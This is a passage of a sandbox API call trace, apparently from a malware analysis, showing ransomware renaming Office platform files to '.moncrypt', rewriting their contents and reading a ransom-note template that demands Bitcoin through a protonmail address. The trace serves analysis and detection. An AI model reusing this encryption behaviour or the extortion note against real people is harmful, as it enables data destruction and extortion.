lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT猭杩敮⹤牸⵭獭") returned 34 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", cchWideChar=91, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpUsedDefaultChar=0x0) returned 91 [0049.486] CharLowerBuffW (in: lpsz=".EXE", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpUsedDefaultChar=0x0) returned 4 [0049.487] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0049.487] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.487] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.487] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.487] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.487] GlobalUnlock (hMem=0x44000c) returned 0 [0049.487] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.487] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.487] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.487] GlobalUnlock (hMem=0x44000c) returned 0 [0049.487] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.487] GlobalUnlock (hMem=0x440004) returned 0 [0049.487] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.487] CharLowerBuffW (in: lpsz="OSPPWMI.DLL", cchLength=0xb | out: lpsz="osppwmi.dll") returned 0xb [0049.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0049.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.488] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT猭杩敮⹤牸⵭獭") returned 34 [0049.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", cchWideChar=91, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpUsedDefaultChar=0x0) returned 91 [0049.488] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0049.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL", lpUsedDefaultChar=0x0) returned 4 [0049.488] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0049.488] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.488] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.488] GlobalLock (hMem=0x440004) returned 0x550170 [0049.488] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.488] GlobalUnlock (hMem=0x440004) returned 0 [0049.488] GlobalLock (hMem=0x440004) returned 0x550170 [0049.488] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.488] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.488] GlobalUnlock (hMem=0x440004) returned 0 [0049.488] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.488] GlobalUnlock (hMem=0x44000c) returned 0 [0049.488] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.489] CharLowerBuffW (in: lpsz="OSPPWMI.MOF", cchLength=0xb | out: lpsz="osppwmi.mof") returned 0xb [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.489] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT猭杩敮⹤牸⵭獭") returned 34 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", cchWideChar=91, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpUsedDefaultChar=0x0) returned 91 [0049.489] CharLowerBuffW (in: lpsz=".MOF", cchLength=0x4 | out: lpsz=".mof") returned 0x4 [0049.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mof", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mofShared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpUsedDefaultChar=0x0) returned 4 [0049.489] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0x54e200 [0049.489] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0049.489] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0049.490] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", dwFileAttributes=0x20) returned 1 [0049.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0049.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.moncrypt")) returned 1 [0049.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xba5e [0049.491] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.491] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0049.494] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.494] GlobalLock (hMem=0x440004) returned 0x550170 [0049.494] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.494] GlobalUnlock (hMem=0x440004) returned 0 [0049.494] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0049.494] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.494] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.494] GlobalUnlock (hMem=0x440004) returned 0 [0049.494] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.494] GlobalLock (hMem=0x440004) returned 0x55bb88 [0049.494] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.494] GlobalUnlock (hMem=0x44000c) returned 0 [0049.494] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0049.494] GlobalUnlock (hMem=0x440004) returned 0 [0049.494] GlobalLock (hMem=0x440004) returned 0x550170 [0049.494] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.494] GlobalUnlock (hMem=0x440004) returned 0 [0049.494] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0049.494] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.494] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.494] GlobalUnlock (hMem=0x440004) returned 0 [0049.494] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0049.494] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0049.494] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0049.495] SetFilePointer (in: hFile=0x188, lDistanceToMove=47710, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0xba5e [0049.495] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0049.495] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0049.495] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0049.629] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0049.629] CloseHandle (hObject=0x188) returned 1 [0049.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.630] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0049.631] CloseHandle (hObject=0x188) returned 1 [0049.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.moncrypt", dwFileAttributes=0x20) returned 1 [0049.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT猭杩敮⹤牸⵭獭") returned 34 [0049.631] GlobalLock (hMem=0x440004) returned 0x550170 [0049.631] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.631] GlobalUnlock (hMem=0x440004) returned 0 [0049.631] GlobalLock (hMem=0x440004) returned 0x550170 [0049.631] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.631] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.631] GlobalUnlock (hMem=0x440004) returned 0 [0049.631] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.631] GlobalUnlock (hMem=0x44000c) returned 0 [0049.631] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ec5ee60, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ec5ee60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ec5ee60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0049.632] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0049.632] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0049.632] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.632] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.632] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0049.632] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.632] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.632] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0049.632] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0049.632] ReadFile (in: hFile=0x188, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0049.632] CloseHandle (hObject=0x188) returned 1 [0049.633] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0049.633] GetLastError () returned 0x12 [0049.633] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0049.633] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.633] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.633] GlobalUnlock (hMem=0x44000c) returned 0 [0049.633] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.633] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.633] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.633] GlobalUnlock (hMem=0x44000c) returned 0 [0049.633] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.633] GlobalUnlock (hMem=0x440004) returned 0 [0049.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ec84fc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ec84fc0, 